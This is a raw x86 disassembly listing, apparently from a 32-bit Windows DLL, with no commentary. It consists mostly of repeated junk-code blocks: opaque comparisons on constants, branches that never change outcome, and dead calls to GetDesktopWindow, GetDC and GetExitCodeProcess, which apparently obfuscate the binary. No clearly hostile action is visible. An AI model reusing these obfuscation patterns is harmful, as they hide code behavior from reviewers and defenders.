mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002f4d0
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
setle dl
add edx, 8
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, ebx
jg 0x1002f4f9
cmp dword [ebp - 0x18], eax
je 0x1002f4f9
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
neg eax
cmp eax, dword [ebp - 0x20]
je 0x1002f511
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002f513
mov edx, ebx
jmp 0x1002f515
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, edi
ja 0x1002f550
mov ecx, ebx
cmp dword [ebp - 0x34], eax
jne 0x1002f552
mov ecx, eax
xor eax, eax
cmp ecx, 5
setle al
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002f56a
push eax
call esi
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
push 0xffffffffffffffff
pop ecx
jl 0x1002f4a8
or ecx, ecx
mov dword [ebp - 0x30], 0xfffffff9
cmp dword [ebp - 0x30], 0x1a
jl 0x1002f599
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x1002f599
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1a
jge 0x1002f58b
mov dword [ebp - 0x20], 0xe0648261
mov dword [ebp - 0x30], 0x7ae9f903
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x20], 0xffffffeb
jmp 0x1002f67e
mov dword [ebp - 0x18], 0xfd43ddca
mov edx, ebx
mov dword [ebp - 0x38], 0xf9e6a012
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002f5de
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
setle dl
add edx, 8
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, ebx
jg 0x1002f607
cmp dword [ebp - 0x18], eax
je 0x1002f607
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
neg eax
cmp eax, dword [ebp - 0x20]
je 0x1002f61f
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002f621
mov edx, ebx
jmp 0x1002f623
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, edi
ja 0x1002f65e
mov ecx, ebx
cmp dword [ebp - 0x34], eax
jne 0x1002f660
mov ecx, eax
xor eax, eax
cmp ecx, 5
setle al
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002f678
push eax
call esi
dec dword [ebp - 0x20]
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x20], 0xffffffe2
jl 0x1002f5b6
mov dword [ebp - 0x30], 0xfffffff9
xor eax, eax
cmp dword [ebp - 0x30], 0x1a
jl 0x1002f6a1
cmp dword [ebp - 0x48], eax
jne 0x1002f6a1
inc dword [ebp - 0x30]
jmp 0x1002f691
mov edi, dword [sym.imp.GDI32.dll_GetTextExtentPointA]
mov dword [ebp - 0x10], 0x91a049fe
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x10], eax
jmp 0x1002f6db
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f6d8
push eax
push 0x293
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jne 0x1002f6b6
mov dword [ebp - 0x20], 0xe0648261
or ecx, 0xffffffff
mov dword [ebp - 0x30], 0x7ae9f903
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x20], 0xffffffeb
cmp dword [ebp - 0x20], 0xffffffe2
jge 0x1002f7de
mov dword [ebp - 0x18], 0xfd43ddca
mov edx, ebx
mov dword [ebp - 0x38], 0xf9e6a012
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002f72e
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
setle dl
add edx, 8
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, ebx
jg 0x1002f757
cmp dword [ebp - 0x18], eax
je 0x1002f757
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
neg eax
cmp eax, dword [ebp - 0x20]
je 0x1002f76f
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002f771
mov edx, ebx
jmp 0x1002f773
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xf20077fe
ja 0x1002f7b2
mov ecx, ebx
cmp dword [ebp - 0x34], eax
jne 0x1002f7b4
mov ecx, eax
xor eax, eax
cmp ecx, 5
setle al
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002f7cc
push eax
call esi
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
push 0xffffffffffffffff
pop ecx
jl 0x1002f706
or ecx, ecx
mov dword [ebp - 0x30], 0xfffffff9
xor eax, eax
cmp dword [ebp - 0x30], 0x1a
jl 0x1002f7f7
cmp dword [ebp - 0x48], eax
jne 0x1002f7f7
inc dword [ebp - 0x30]
jmp 0x1002f7e7
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x34], 0xfd94
mov dword [ebp - 0x48], 0x63588c55
mov dword [ebp - 0x38], 0xfffb
mov dword [ebp - 0x54], 0xfffffffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1002f838
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf8c], 0xac8b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002f81f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002f856
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x734], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002f841
xor eax, eax
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], eax
jl 0x1002f8d4
jmp 0x1002f866
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x34], eax
jne 0x1002f884
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xf8c], 0
jne 0x1002f884
xor eax, eax
mov edx, eax
jmp 0x1002f886
mov edx, ebx
mov dword [ebp - 0x730], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xf8c]
xor eax, eax
cmp edx, ebx
setne al
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x1002f8c7
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xf8c], 0
je 0x1002f8c7
mov eax, ebx
jmp 0x1002f8c9
xor eax, eax
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x1c]
push 0xffffffffffffffff
pop ecx
jns 0x1002f864
mov ecx, dword [ebp - 0x38]
xor ebx, ebx
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x734]
setle bl
xor ecx, ecx
cmp eax, 0x31e13ca4
mov eax, dword [ebp - 0x54]
setge cl
xor edx, edx
cmp ebx, ecx
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
xor ebx, ebx
mov dword [ebp - 0x730], ecx
inc ebx
mov dword [ebp - 0x10], 0x91a049fe
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
je 0x1002f94d
xor ebx, ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1002f941
push ebx
push 0x293
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jne 0x1002f922
xor ebx, ebx
inc ebx
push 2
lea ecx, [ebp - 0x7b8]
call fcn.10016406
mov dword [ebp - 4], 0x2b
xor eax, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002f98a
push dword [ebp - 0x10]
lea ecx, [ebp - 0x7b8]
call fcn.100164a4
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002f96f
xor eax, eax
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], eax
jl 0x1002f9b9
push dword [ebp - 0x30]
lea ecx, [ebp - 0x7b8]
call fcn.100164a4
push dword [ebp - 0x30]
lea ecx, [ebp - 0x7b8]
mov esi, eax
call fcn.100164a4
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x30]
jns 0x1002f992
or eax, 0xffffffff
lea ecx, [ebp - 0x7b8]
mov dword [ebp - 4], eax
call fcn.10016488
mov dword [ebp - 0x10], 0x91a049fe
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
je 0x1002fa0c
xor ebx, ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1002fa00
push ebx
push 0x293
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jne 0x1002f9e1
xor ebx, ebx
inc ebx
mov dword [ebp - 0x1c], 0xe414
lea ecx, [ebp - 0xbb8]
push 3
call fcn.10016406
xor eax, eax
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x10], eax
jmp 0x1002fa45
push dword [ebp - 0x10]
lea ecx, [ebp - 0xbb8]
call fcn.100164a4
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002fa2e
mov eax, dword [ebp - 0x1c]
mov ecx, 0xc1464f16
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub eax, 0xf257
neg eax
sbb eax, eax
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x1c]
jge 0x1002fa7e
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002fa80
mov edi, ebx
jmp 0x1002fa82
xor eax, eax
mov edi, eax
push ebx
lea ecx, [ebp - 0xbb8]
call fcn.100164a4
xor ecx, ecx
mov esi, eax
cmp edi, 0x7fd1e814
setle cl
xor eax, eax
cmp ecx, 0xd149
mov ecx, dword [ebp - 0x1c]
setge al
xor edx, edx
cmp eax, ecx
setg dl
xor eax, eax
sub edx, 0x6df5900a
mov dword [esi], edx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002faca
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
or edi, 0xffffffff
lea ecx, [ebp - 0xbb8]
mov dword [ebp - 4], edi
call fcn.10016488
mov dword [ebp - 0x20], 0xd383
lea ecx, [ebp - 0x6c4]
mov dword [ebp - 0x1c], 0x32fd2d1a
push ebx
call fcn.10016406
mov dword [ebp - 4], 0x2d
xor eax, eax
mov dword [ebp - 0x38], 0x292978d8
mov dword [ebp - 0x34], 0x7cdedfc3
mov dword [ebp - 0x10], eax
jmp 0x1002fb28
cmp dword [ebp - 0x10], ebx
jl 0x1002fb11